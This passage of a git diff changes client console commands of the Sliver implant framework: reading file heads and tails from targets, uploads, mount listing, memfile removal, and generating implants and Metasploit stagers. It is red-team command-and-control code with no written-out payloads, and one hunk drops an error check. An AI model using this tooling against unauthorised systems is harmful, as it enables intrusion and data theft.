if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var filePath string
|
||||
var fetchBytes bool
|
||||
var fetchSize int64
|
||||
var operationName string
|
||||
var download *sliverpb.Download
|
||||
var err error
|
||||
|
||||
if len(args) > 0 {
|
||||
filePath = args[0]
|
||||
}
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("bytes") {
|
||||
fetchBytes = true
|
||||
fetchSize, _ = cmd.Flags().GetInt64("bytes")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of bytes
|
||||
con.PrintErrorf("The number of bytes specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "byte"
|
||||
} else {
|
||||
operationName = "bytes"
|
||||
}
|
||||
} else if cmd.Flags().Changed("lines") {
|
||||
fetchBytes = false
|
||||
fetchSize, _ = cmd.Flags().GetInt64("lines")
|
||||
if fetchSize < 0 {
|
||||
// Cannot fetch a negative number of lines
|
||||
con.PrintErrorf("The number of lines specified must be positive.")
|
||||
return
|
||||
}
|
||||
if fetchSize == 1 {
|
||||
operationName = "line"
|
||||
} else {
|
||||
operationName = "lines"
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Retrieving %d %s from %s ...", fetchSize, operationName, filePath), ctrl)
|
||||
|
||||
// A tail is a negative head
|
||||
if !head {
|
||||
fetchSize *= -1
|
||||
}
|
||||
|
||||
if fetchBytes {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxBytes: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
} else {
|
||||
download, err = con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
MaxLines: fetchSize,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
}
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, cmd, con)
|
||||
}
|
||||
}
|
||||
@@ -43,10 +43,7 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
|
||||
}
|
||||
|
||||
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Fd: fdInt,
|
||||
|
||||
@@ -1,149 +0,0 @@
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// MountCmd - Print information about mounted filesystems
|
||||
func MountCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
mount, err := con.Rpc.Mount(context.Background(), &sliverpb.MountReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
if mount.Response != nil && mount.Response.Async {
|
||||
con.AddBeaconCallback(mount.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mount)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMount(os, mount, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mount.Response)
|
||||
} else {
|
||||
PrintMount(os, mount, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
} else if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func reduceSpaceMetric(numberOfBytes float64) string {
|
||||
units := []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
|
||||
|
||||
if numberOfBytes < 1 {
|
||||
return fmt.Sprintf("0 %s", units[0])
|
||||
}
|
||||
|
||||
base := 1024.0
|
||||
|
||||
exp := math.Floor(math.Log(numberOfBytes) / math.Log(base))
|
||||
index := int(math.Min(exp, float64(len(units)-1)))
|
||||
divisor := math.Pow(base, float64(index))
|
||||
|
||||
value := numberOfBytes / divisor
|
||||
|
||||
return fmt.Sprintf("%.2f %s", value, units[index])
|
||||
}
|
||||
|
||||
// PrintMount - Print a table containing information on mounted filesystems
|
||||
func PrintMount(os string, mount *sliverpb.Mount, con *console.SliverConsoleClient) {
|
||||
if mount.Response != nil && mount.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mount.Response.Err)
|
||||
return
|
||||
}
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"Volume", "Volume Type", "Mount Point", "Label", "Filesystem", "Used Space", "Free Space", "Total Space"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"Source", "Mount Point", "Mount Root", "Filesystem Type", "Options", "Total Space"})
|
||||
}
|
||||
|
||||
for _, mountPoint := range mount.Info {
|
||||
row := mountRow(os, mountPoint)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
settings.PaginateTable(tw, 0, false, false, con)
|
||||
}
|
||||
|
||||
func mountRow(os string, mountInfo *sliverpb.MountInfo) table.Row {
|
||||
var row table.Row
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
row = table.Row{mountInfo.VolumeName,
|
||||
mountInfo.VolumeType,
|
||||
mountInfo.MountPoint,
|
||||
mountInfo.Label,
|
||||
mountInfo.FileSystem,
|
||||
reduceSpaceMetric(float64(mountInfo.UsedSpace)),
|
||||
reduceSpaceMetric(float64(mountInfo.FreeSpace)),
|
||||
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
row = table.Row{mountInfo.VolumeName,
|
||||
mountInfo.MountPoint,
|
||||
mountInfo.Label,
|
||||
mountInfo.VolumeType,
|
||||
mountInfo.MountOptions,
|
||||
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
|
||||
}
|
||||
}
|
||||
return row
|
||||
}
|
||||
@@ -19,277 +19,34 @@ package filesystem
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
)
|
||||
|
||||
func determineDirPathFilter(targetPath string) (string, string) {
|
||||
// The filter
|
||||
filter := ""
|
||||
|
||||
// The path the filter applies to
|
||||
path := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if targetPath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(targetPath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = targetPath
|
||||
path = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indices should be the same because we did not change the length of the string
|
||||
path = targetPath[:lastSeparatorOccurrence+1]
|
||||
filter = targetPath[lastSeparatorOccurrence+1:]
|
||||
}
|
||||
} else {
|
||||
path = targetPath
|
||||
// filter remains blank
|
||||
}
|
||||
|
||||
return path, filter
|
||||
}
|
||||
|
||||
func standarizeArchiveFileName(path string, uploadPathSpecified string) string {
|
||||
// Change all backslashes to forward slashes
|
||||
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
|
||||
var standardUploadPath string = strings.ReplaceAll(uploadPathSpecified, "\\", "/")
|
||||
|
||||
/*
|
||||
Remove the volume / root from the directory
|
||||
path. This makes it so that files on the
|
||||
system where the archive is extracted to
|
||||
will not be clobbered.
|
||||
|
||||
Tried with filepath.VolumeName, but that function
|
||||
does not work reliably with Windows paths
|
||||
*/
|
||||
if strings.HasPrefix(standardFilePath, "//") {
|
||||
// If this a UNC path, filepath.Rel is not going to work
|
||||
return standardFilePath[2:]
|
||||
} else {
|
||||
beginningOfUploadPath, _, _ := strings.Cut(standardUploadPath, "/")
|
||||
if index := strings.Index(standardFilePath, beginningOfUploadPath); index != -1 {
|
||||
// Add a / in front to make the specified upload path the root
|
||||
standardFilePath = "/" + standardFilePath[index:]
|
||||
}
|
||||
// Calculate a path relative to the root
|
||||
pathParts := strings.SplitN(standardFilePath, "/", 2)
|
||||
if len(pathParts) < 2 {
|
||||
// Then something is wrong with this path
|
||||
return standardFilePath
|
||||
}
|
||||
|
||||
basePath := pathParts[0]
|
||||
fileRelPath := pathParts[1]
|
||||
|
||||
if basePath == "" {
|
||||
// If base path is blank, that means it started with / and / is the root
|
||||
return fileRelPath
|
||||
} else {
|
||||
/*
|
||||
Then this is almost certainly Windows, and we will set the archive up
|
||||
so that it preserves the path but without the colon.
|
||||
Something like:
|
||||
c/windows/system32/file.whatever
|
||||
Colons are not legal in Windows filenames, so let's get rid of them.
|
||||
*/
|
||||
basePath = strings.ReplaceAll(basePath, ":", "")
|
||||
basePath = strings.ToLower(basePath)
|
||||
return basePath + "/" + fileRelPath
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func tarDirectory(sourcePath string, pathAsSpecified string, sourceFilter string, recurse bool, preserveDirStructure bool) ([]byte, int, int, error) {
|
||||
readFiles := 0
|
||||
unreadableFiles := 0
|
||||
var matchingFiles []string
|
||||
var buffer bytes.Buffer
|
||||
tarWriter := tar.NewWriter(&buffer)
|
||||
|
||||
/*
|
||||
Build the list of files to include in the archive.
|
||||
|
||||
Walking the directory can take a long time and do a lot of unnecessary work
|
||||
if we do not need to recurse through subdirectories.
|
||||
|
||||
If we are not recursing, then read the directory without worrying about
|
||||
subdirectories.
|
||||
*/
|
||||
if !recurse {
|
||||
testPath := strings.ReplaceAll(sourcePath, "\\", "/")
|
||||
directory, err := os.Open(sourcePath)
|
||||
if err != nil {
|
||||
return nil, readFiles, unreadableFiles, err
|
||||
}
|
||||
directoryFiles, err := directory.Readdirnames(0)
|
||||
directory.Close()
|
||||
if err != nil {
|
||||
return nil, readFiles, unreadableFiles, err
|
||||
}
|
||||
|
||||
for _, fileName := range directoryFiles {
|
||||
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
|
||||
if sourceFilter != "" {
|
||||
match, err := matcher.Match(sourcePath+sourceFilter, standardFileName)
|
||||
if err == nil && match {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
} else {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
filepath.WalkDir(sourcePath, func(file string, d os.DirEntry, err error) error {
|
||||
filePath := strings.ReplaceAll(file, "\\", "/")
|
||||
if sourceFilter != "" {
|
||||
// Normalize paths
|
||||
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
|
||||
match, matchErr := matcher.Match(testPath+sourceFilter, filePath)
|
||||
if !match || matchErr != nil {
|
||||
// If there is an error, it is because the filter is bad, so it is not a match
|
||||
return nil
|
||||
}
|
||||
matchingFiles = append(matchingFiles, file)
|
||||
} else {
|
||||
matchingFiles = append(matchingFiles, file)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
var fileName string
|
||||
|
||||
for _, file := range matchingFiles {
|
||||
fi, err := os.Stat(file)
|
||||
if err != nil {
|
||||
// Cannot get info on the file, so skip it
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
|
||||
if preserveDirStructure {
|
||||
fileName = standarizeArchiveFileName(file, pathAsSpecified)
|
||||
} else {
|
||||
fileName = fi.Name()
|
||||
}
|
||||
|
||||
// If the file is a SymLink replace fileInfo and path with the symlink destination.
|
||||
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
file, err = filepath.EvalSymlinks(file)
|
||||
if err != nil {
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
|
||||
fi, err = os.Lstat(file)
|
||||
if err != nil {
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
header, err := tar.FileInfoHeader(fi, file)
|
||||
if err != nil {
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
// Keep the symlink file path for the header name.
|
||||
header.Name = filepath.ToSlash(fileName)
|
||||
// Check that we can open the file before we try to write it to the archive
|
||||
if !fi.IsDir() {
|
||||
data, err := os.Open(file)
|
||||
if err != nil {
|
||||
// Skip this file and do not write it to the archive.
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
unreadableFiles += 1
|
||||
data.Close()
|
||||
continue
|
||||
}
|
||||
if _, err := io.Copy(tarWriter, data); err != nil {
|
||||
unreadableFiles += 1
|
||||
data.Close()
|
||||
continue
|
||||
}
|
||||
data.Close()
|
||||
readFiles += 1
|
||||
} else {
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err := tarWriter.Close(); err != nil {
|
||||
return buffer.Bytes(), readFiles, unreadableFiles, err
|
||||
}
|
||||
return buffer.Bytes(), readFiles, unreadableFiles, nil
|
||||
}
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
readFiles := 0
|
||||
unreadableFiles := 0
|
||||
var isDirectory bool
|
||||
var fileName string
|
||||
var sourceInfomation fs.FileInfo
|
||||
var uploadData []byte
|
||||
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ""
|
||||
|
||||
localPath := args[0]
|
||||
if len(args) > 1 {
|
||||
remotePath = args[1]
|
||||
}
|
||||
|
||||
recurse, _ := cmd.Flags().GetBool("recurse")
|
||||
preserve, _ := cmd.Flags().GetBool("preserve")
|
||||
remotePath := args[1]
|
||||
// localPath := ctx.Args.String("local-path")
|
||||
// remotePath := ctx.Args.String("remote-path")
|
||||
isIOC, _ := cmd.Flags().GetBool("ioc")
|
||||
overwrite, _ := cmd.Flags().GetBool("overwrite")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
@@ -297,110 +54,33 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
|
||||
}
|
||||
|
||||
src, _ := filepath.Abs(localPath)
|
||||
|
||||
if remotePath == "" {
|
||||
remotePath = fileName
|
||||
}
|
||||
|
||||
dst := remotePath
|
||||
|
||||
// Get information on the source - is it a directory?
|
||||
srcPath, srcFilter := determineDirPathFilter(src)
|
||||
sourceInfomation, err := os.Stat(src)
|
||||
|
||||
if err == nil && sourceInfomation.IsDir() {
|
||||
if !strings.HasSuffix(src, string(os.PathSeparator)) {
|
||||
src += string(os.PathSeparator)
|
||||
}
|
||||
srcPath = src
|
||||
srcFilter = ""
|
||||
}
|
||||
|
||||
_, err := os.Stat(src)
|
||||
if err != nil {
|
||||
if errors.Is(err, fs.ErrNotExist) {
|
||||
// Check to see if src ends with a filter
|
||||
sourceInfomation, err = os.Stat(srcPath)
|
||||
if errors.Is(err, fs.ErrNotExist) {
|
||||
con.PrintErrorf("The source %s does not exist.\n", src)
|
||||
return
|
||||
} else if errors.Is(err, fs.ErrPermission) {
|
||||
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
|
||||
return
|
||||
}
|
||||
}
|
||||
if errors.Is(err, fs.ErrPermission) {
|
||||
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// If we still do not have information about the source at this point, bail.
|
||||
if sourceInfomation == nil {
|
||||
con.PrintErrorf("Could not get information about the upload source %s\n", src)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if sourceInfomation.IsDir() {
|
||||
// tar the directory and send it over
|
||||
uploadData, readFiles, unreadableFiles, err = tarDirectory(srcPath, localPath, srcFilter, recurse, preserve)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if readFiles == 0 {
|
||||
con.PrintErrorf("Could not find any files matching %s\n", src)
|
||||
return
|
||||
}
|
||||
isDirectory = true
|
||||
fileName = ""
|
||||
} else {
|
||||
uploadData, err = os.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
readFiles = 1
|
||||
unreadableFiles = 0
|
||||
isDirectory = false
|
||||
fileName = filepath.Base(src)
|
||||
if remotePath == "" {
|
||||
fileName := filepath.Base(src)
|
||||
remotePath = fileName
|
||||
}
|
||||
dst := remotePath
|
||||
|
||||
uploadGzip, _ := new(encoders.Gzip).Encode(uploadData)
|
||||
|
||||
var readFilesQualifier string
|
||||
var unsuccessfulFiles string
|
||||
|
||||
if readFiles == 1 {
|
||||
readFilesQualifier = ""
|
||||
} else {
|
||||
readFilesQualifier = "s"
|
||||
}
|
||||
|
||||
if unreadableFiles > 0 {
|
||||
if unreadableFiles == 1 {
|
||||
unsuccessfulFiles = fmt.Sprintf(" (could not read %d file)", unreadableFiles)
|
||||
} else {
|
||||
unsuccessfulFiles = fmt.Sprintf(" (could not read %d files)", unreadableFiles)
|
||||
}
|
||||
} else {
|
||||
unsuccessfulFiles = ""
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Uploading %d file%s %sfrom %s to %s", readFiles,
|
||||
readFilesQualifier,
|
||||
unsuccessfulFiles,
|
||||
src,
|
||||
dst), ctrl)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
FileName: fileName,
|
||||
IsDirectory: isDirectory,
|
||||
Overwrite: overwrite,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -429,21 +109,5 @@ func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", upload.Response.Err)
|
||||
return
|
||||
}
|
||||
writtenFileQualifier := "s"
|
||||
if upload.WrittenFiles == 1 {
|
||||
writtenFileQualifier = ""
|
||||
}
|
||||
unwrittenFileQualifier := "s"
|
||||
if upload.UnwriteableFiles == 1 {
|
||||
unwrittenFileQualifier = ""
|
||||
}
|
||||
if upload.WrittenFiles > 0 {
|
||||
if upload.UnwriteableFiles > 0 {
|
||||
con.PrintInfof("Wrote %d file%s successfully (%d file%s not written) to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d file%s successfully to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.Path)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Could not write %d file%s to %s: the files already exist on the target\n", upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
|
||||
}
|
||||
con.PrintInfof("Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
@@ -18,7 +18,7 @@ var (
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
@@ -33,9 +33,10 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
|
||||
compile(config, disableSGN, save, con)
|
||||
} else {
|
||||
externalBuild(name, config, save, con)
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -72,7 +72,6 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
badChars, _ := cmd.Flags().GetString("badchars")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
advOptions, _ := cmd.Flags().GetString("advanced")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badChars) > 0 {
|
||||
@@ -96,14 +95,13 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Generating stager, please wait ...", ctrl)
|
||||
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
AdvOptions: advOptions,
|
||||
Arch: arch,
|
||||
BadChars: bChars,
|
||||
Format: format,
|
||||
Host: lhost,
|
||||
Port: lport,
|
||||
Protocol: stageProto,
|
||||
OS: stageOS,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -126,7 +124,7 @@ func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
|
||||
}
|
||||
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
con.PrintInfof("Here's your stager:\n")
|
||||
con.PrintInfof("Here's your stager:")
|
||||
con.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
}
|
||||
@@ -90,7 +90,7 @@ var (
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
@@ -99,9 +99,10 @@ func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
disableSGN, _ := cmd.Flags().GetBool("disable-sgn")
|
||||
compile(config, disableSGN, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(name, config, save, con)
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
@@ -150,7 +151,9 @@ func saveLocation(save, DefaultName string, con *console.SliverConsoleClient) (s
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
con.PrintInfof("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
con.PrintInfof("%s is not dir\n", save)
|
||||
@@ -182,14 +185,14 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
|
||||
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
var name string
|
||||
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
|
||||
name = strings.ToLower(nameF)
|
||||
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,7 +202,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
mtlsC2, err := ParseMTLSc2(mtlsC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
@@ -207,7 +210,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
wgC2, err := ParseWGc2(wgC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
|
||||
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
|
||||
@@ -218,7 +221,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
httpC2, err := ParseHTTPc2(httpC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
@@ -226,7 +229,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
dnsC2, err := ParseDNSc2(dnsC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
@@ -234,7 +237,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return "", nil
|
||||
return nil
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
@@ -242,7 +245,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (st
|
||||
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
|
||||
if err != nil {
|
||||
